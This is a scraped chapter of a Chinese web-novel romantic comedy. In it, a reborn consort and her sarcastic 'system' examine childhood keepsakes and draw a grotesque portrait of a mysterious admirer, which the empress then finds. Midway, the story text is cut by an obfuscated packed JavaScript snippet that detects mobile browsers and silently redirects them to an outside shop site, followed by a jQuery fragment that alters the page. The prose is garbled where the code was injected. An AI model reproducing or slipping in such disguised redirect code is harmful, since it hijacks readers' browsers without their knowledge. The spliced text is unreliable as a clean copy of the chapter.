文趣网 > 都市小说 > 重生为贵妃,皇后竟然暗恋我?! > 18. 什么丑东西
    距离上一次追猫闯进凤仪宫,已经过去整整一个月。

    这一个月里,凤仪宫的门几乎天天关着。御膳房的人每日照旧送膳,可端进去的食盒,十次里有七八次又原样端出来。

    养心殿那边也安静得很。温晏不知在忙什么,批折子批到深夜,偶尔半夜还能瞧见养心殿的灯亮着。

    林初霁这一个月倒是闲得发慌。她隔三差五就往昭阳宫跑,偶尔蹲在廊下观察宫女们洒扫的路线,或者趴在窗台上看经过的官员。

    【请问宿主这两个月有什么收获】

    林初霁眯起眼睛,做出一副名侦探的架势。

    “根据已知条件,我们可以推断出,香包是我自己绣的,要送给一个很重要的人,桃花帕子是别人送我的!说明我们俩是双箭头啊!”

    【妙啊。】

    【所以,关键人物是谁?】

    林初霁眨眨眼。

    “我不知道啊。”

    【……】

    “不过说真的,”林初霁忽然想起什么,

    “系统,你为啥不让我重生成皇帝啊?”

    “想想就美滋滋!想干嘛干嘛,

    【系统无法让宿主重生成皇帝。】

    “那不公平!”林初霁一拍床板,

    “凭什么人家能当皇帝,我只能当贵妃?”

    【……】

    【因为宿主前世没有当皇帝的命。】

    “我不管,我就要当皇帝!”

    【宿主,您清醒一点。】

    “行吧行吧,做梦都不让做,小气。”

    “这两个月我可没闲着!我把长乐宫翻了个底朝天!”

    系统沉默了片刻。

    这两个月,长乐宫已经不像个贵妃寝殿了。

    衣柜里的衣服被翻得乱七八糟,书架上的书全摊在地上,连床板都被她挪开过,春桃进来打扫的时候差点以为闹了贼。

    林初霁还给她母亲写了封信,让家里把她在江南老宅的东西全送进宫里来,小时候的玩具、旧日记、压箱底的杂七杂八。

    如今这些东西堆在殿角,像一座小山。

    春桃每次路过都欲言又止:“娘娘……这些东西要收拾吗?”“不用!别动!这些都是重要的线索!”

    林初霁头也不回地说,然后趴在杂物堆里继续翻。

    系统终于忍不住开口:【宿主,请问您这是在做什么?】

    “在找东西!”林初霁的声音从杂物堆里传出来,她拨开一堆旧衣服,刨出几本泛黄的书,又扔到一边,继续往深处翻。

    忽然,她掏出来一个木箱子,边角已经被磨得圆润发亮。她小心翼翼地掀开盖子。

    里面是一枚刺绣平安福。鹅黄色的底,绣着

    几枝歪歪扭扭的桃花,针脚生涩,大小不一,有好几处还绣错了又重新拆补过。

    林初霁把它拿起来,翻来覆去地看,又伸进箱子底下摸索片刻,摸到一张叠得整整齐齐的泛黄纸笺。

    她展开来,里面是用行楷写的“平平安安”四个字,旁边没有落款,只画了一朵小小的桃花。

    林初霁把那枚平安福和桃花帕子并排摆在桌上。目光在两者之间来回扫了七八趟,猛地一拍桌面:

    “系统!我确定了!这平安福和桃花帕子是同一个人绣的!你看这针脚、这走向、这桃花花瓣的弧度,虽然平安福绣得丑点,但绝对是同一个人!”

    【宿主观察得很仔细。】

    “所以这个箱子里的东西应该都是关于她的!那个关键人物!我把这些东西翻出来,就能拼出她的样子!”

    她撸起袖子继续翻。先掏出一个竹骨已经散了的风筝,纸面破了一个大洞,一看就是挂树上摔下来摔坏的。

    又摸出一把小木刀。刀身磨得很光滑,看得出被人反复握过的痕迹。

    林初霁拿着那把刀,翻来覆去看了半天:“……送女孩子礼物,送刀?什么人会送女孩子一把刀啊?”

    她心里默默补了一句:这人也太不会送了吧。

    然后她摸到一本兵书,封皮都卷了边,书页泛黄发脆,看起来被人翻了很多遍。

    林初霁翻开看了两页,全是行军布阵、粮草调度、扎营列阵。

    她合上书,满脑子问号:“……为什么会有兵书?我又不当兵。送我兵书干什么?指望我当女将军吗?”

    她放下兵书,继续往下掏。掏出一大把糖纸,五颜六色的,被压得平平整整,每一张都叠得整整齐齐,像被人精心收着舍不得扔。

    然后她摸到一个小瓷瓶,拔开塞子闻了闻,一股药味直冲脑门,呛得她连打了三个喷嚏。

    瓶身上贴着一张小纸条,已经褪色了,上面写着四个字:“扭伤敷用。”

    她翻过来,背面还有一行小字,已经模糊了大半,勉强辨认出几个字:“……下次不要……翻墙……”

    林初霁沉默了好一会儿:“……这药怕是放了好几年了,早就过期了吧。”

    她又补了一句,“还让我不要翻墙,我这种文静女孩怎么会翻墙?”

    林初霁把风筝、木刀、兵书、糖纸、药瓶一字排开,叉着腰站在桌前,目光来来回回扫了好几遍。

    然后她一拍桌子:“系统!我得出结论了!”

    【……请讲。】

    “这个关键人物,喜欢放风筝!而且放得不好,每次都把风筝挂树上!”

    她指着那只破风筝,“你看这破洞,这惨状,一看就是技术水平不行。

    她又拿起那把木刀:“喜欢练武!还喜欢看兵书!”她挥了挥那把刀,

    “你看这刀磨得多光!一看就是没事就拿着耍的那种人!”

    她放下刀,拎起那本兵书:“还看这种东西!什么行军布阵、粮草调度。”

    她越说越激动,拍了拍那堆糖纸:“而且还知道我喜欢吃糖!”她歪着头,

    “你看这糖纸,五颜六色的,每一张都叠得整整齐齐,他肯定经常给我糖吃,我才会攒这么多糖纸!”

    她拿起那个药瓶,晃了晃:“最过分的是这个他居然说我翻墙!

    还写了‘下次不要翻墙’!系统,你评评理,我这种人,文静、乖巧、端庄、大方”

    她指了指自己,“像我这种大家闺秀,会翻墙?怎么可能!”

    林初霁越说越激动,越说越觉得自己推理得有理有据。

    她一拍桌子,转身冲到书案前,扯过一张宣纸,提起笔,蘸饱了墨,开始埋头作画。

    笔走龙蛇,墨汁飞溅,她画得极其投入。

    系统忍不住开口:【……宿主,你在画什么?】

    “别吵!”林初霁头也不回,“我在画关键人物的画像!真相就在我笔下!马上就出来了!”

    她放下笔,拎起那张宣纸,往桌上一摊,退后两步双手叉腰,满意地看着自己的作品。

    画上是一个彪形大汉,膀大腰圆,虎背熊腰,穿着一身不知道是铠甲还是围裙的东西。

    左手举着一把明晃晃的大刀,刀尖还冒着火星;

    右手捏着一只破破烂烂的风筝,风筝上还写着“小筝筝,飞不起来捏”

    脸上挂着极其灿烂的笑容,露出一排白得刺眼的牙齿。

    旁边还歪歪扭扭地写了一行注释:“此人会放风筝会耍刀,还给我糖吃,还会写漂亮字”

    林初霁指着画,眼睛放光:“系统!这就是关键人物!你看!左手拿刀!右手拿风筝!笑得这么灿烂!

    系统沉默了很久,久到林初霁以为它死机了。

    然后系统的声音终于响起来,每一个字都带着一种被强行忍耐的呕吐感:

    【宿主……本系统请求……立刻销毁这幅画。】

    “为什么?!”

    【因为这幅画的冲击力……已经超出了本系统的视觉处理模块的承受范围。】

    “什么意思?画得不好看吗?我画得多传神啊!”

    【传神?宿主,你画的是一个身高八尺、膀大腰圆、左手举刀右手举风筝、笑容像村口卖猪肉的屠户一样灿烂的……“关键人物”?】

    “对啊!就是他!”

    【……宿主,你确定你要找的关键人物……长这样?】

    “直觉!”林初霁理直气壮,

    “我看人的直觉很准的!”

    【你重生两个月了,连关键人物是谁都不知道,你的直觉有什么可信度?】

    “那是我还没画出来!”林初霁拍了拍那张画,“现在我画出来了!以后我就按这个标准找!谁长这样谁就是关键人物!”

    系统的声音再次响起,比刚才更虚弱,像是用尽了最后一点力气:

    【宿主,本系统需要申请一段时间的深度修复……请不要打扰。】

    “你修复什么?”

    【修复被你这幅画造成的永久性视觉损伤。】

    “哎!我这画得明明很好——你看他这个笑容,多阳光!你看他这个肌肉,多有安全感。”

    【宿主……求你了……把画收起来……】

    林初霁撇撇嘴,把画从桌上拿起来,左看右看,越看越满意:“行吧行吧,收起来就收起来。

    你等我找到他的时候,你就知道我的直觉有多准了。”

    她小心翼翼地把画折好,早晚有一天,我会找到你的,我的风筝欧巴!。”

    系统发出一声极其微弱的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832824|211357||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    、像是在强忍什么东西翻涌上来的电流声。

    【……本系统……需要重启……】

    一阵大风从窗户缝里灌进来,“呼啦”一声,她手里的画被卷了起来,在空中翻了个跟头,然后从窗户飞了出去。

    林初霁愣了一下,然后马上扑向窗台:“不——!!我的欧巴——!!”

    她扒着窗框探出半个身子,眼睁睁看着那张画在风中翻滚着飘过宫道、越过墙头,一去不复返。

    宫道尽头一个影卫打扮的人影微微一顿,伸手接住了那张画,低头看了一眼,然后揣进怀里,若无其事地继续走了。

    林初霁从窗台上翻下来,提着裙摆就往外跑。

    她在宫道上来来回回找了半天,翻遍了每一丛灌木、每一块石头后面,连墙角的枯叶堆都扒拉了一遍。

    她气喘吁吁地扶着膝盖弯着腰:“……没了。”她直起身,抹了一把脸上的灰,

    “算了。可能这就是缘分吧。缘分尽了。”

    影卫无声无息地落在凤仪宫门口,含翠开门,影卫低头递上一张纸:“长乐宫飘出来的。属下捡到了,觉得……应该让娘娘看看。”

    含翠接过来展开一角,然后默默合上,说了句“稍等”,转身走进殿内。

    殿内,江晚晴坐在书案后面,温晏正歪在榻上喝茶。含翠走上前,把那张画展开,无声地放在江晚晴面前。

    江晚晴低头看了一眼,她看了整整三息。然后她脸上的表情以肉眼可见的速度僵住了,

    眉头缓缓皱起来,越皱越紧,嘴角微微抽动了一下,像是在忍什么极其强烈的东西。

    温晏注意到她表情不对,放下茶盏凑过来:“怎么了?什么折子这么难办?朕帮你看看——”

    她探头过去,目光落在画上。瞬间,她的眼睛瞪圆了,整个人往后弹了半尺,一只手猛地捂住眼睛,另一只手在空中胡乱挥舞:

    “朕的眼睛——!!这是什么——!!这是什么妖魔鬼怪——!!”

    江晚晴没有回答。她盯着那幅画,眉心的褶皱像被刀刻的一样深。

    画上那个彪形大汉左手举刀右手举风筝,冲着她灿烂地笑着,像一头刚从山里跑出来的野猪。旁边那行字清晰地写着:

    “此人会放风筝会耍刀,还给我糖吃,还会写漂亮字”和“小筝筝,飞不起来捏”。

    温晏捂着眼睛在榻上翻滚:“晚晴!!这是谁画的!!把这个人拖出去砍了——!!朕的审美不允许这种东西存在于世间!!”

    江晚晴把画折好,指尖刚按在纸边上,忽然顿住了。她看见背面还有一行字——“心上人”

    江晚晴的手停在半空中。她盯着那三个字看了很久。

    她心里只有一个念头:她现在是喜欢这种类型的了吗?

    她低着头,把画又翻回正面,看了一眼那个彪形大汉灿烂的笑容,默默折好,放回暗格里,然后轻轻叹了口气。

    温晏从榻上爬起来,探头探脑地凑过来:“你叹什么气?不就一幅画嘛——”她趁江晚晴没注意,一把把画从暗格里抽出来,翻到背面。

    看见了那三个字,她的眼睛猛地瞪圆了,然后发出一声极度复杂的叹息,拍了拍江晚晴的肩膀:

    “晴啊,没事。天涯何处无芳草,何必单恋一个喜欢屠户的人呢?”

    她语重心长地补了一句,“朕给你介绍别的。”

    江晚晴面无表情地抬手给了她一拳。

    温晏“嗷”了一声捂着肩膀往后退了两步:

    “你干什么!朕好心好意安慰你!”

    江晚晴把画从她手里抽回来,展开又看了一遍正面那个彪形大汉,然后淡淡地说了一句:“画的挺好看的。”

    温晏愣住,伸手摸了摸江晚晴的额头:“你没发烧吧?这画好看?那我画的山水画你怎么从来不说好看?我画的人物像更是栩栩如生、美得不得了!”

    江晚晴拍开她的手,瞥了她一眼:“你画的全是许祭酒的画像。”

    她顿了一下,“你像个变态一样。”

    温晏被噎住了,脸瞬间涨红,咳嗽一声:“话不能这么说!朕那叫艺术!艺术的表达形式你懂不懂!”

    江晚晴低头看着画,没有再回答。手指在画纸边缘轻轻摩挲。

    温晏还在旁边絮絮叨叨:“反正朕的画比这个好看多了!朕画的那叫——”

    “陛下,”江晚晴打断她,“你该回去批折子了。”

    温晏:“……你就知道赶朕走。”她往外走了两步,又回头看了一眼,

    “那画你收好。万一哪天你想通了,不想喜欢屠户了,朕那儿还有几本画册,都是——”

    “滚。”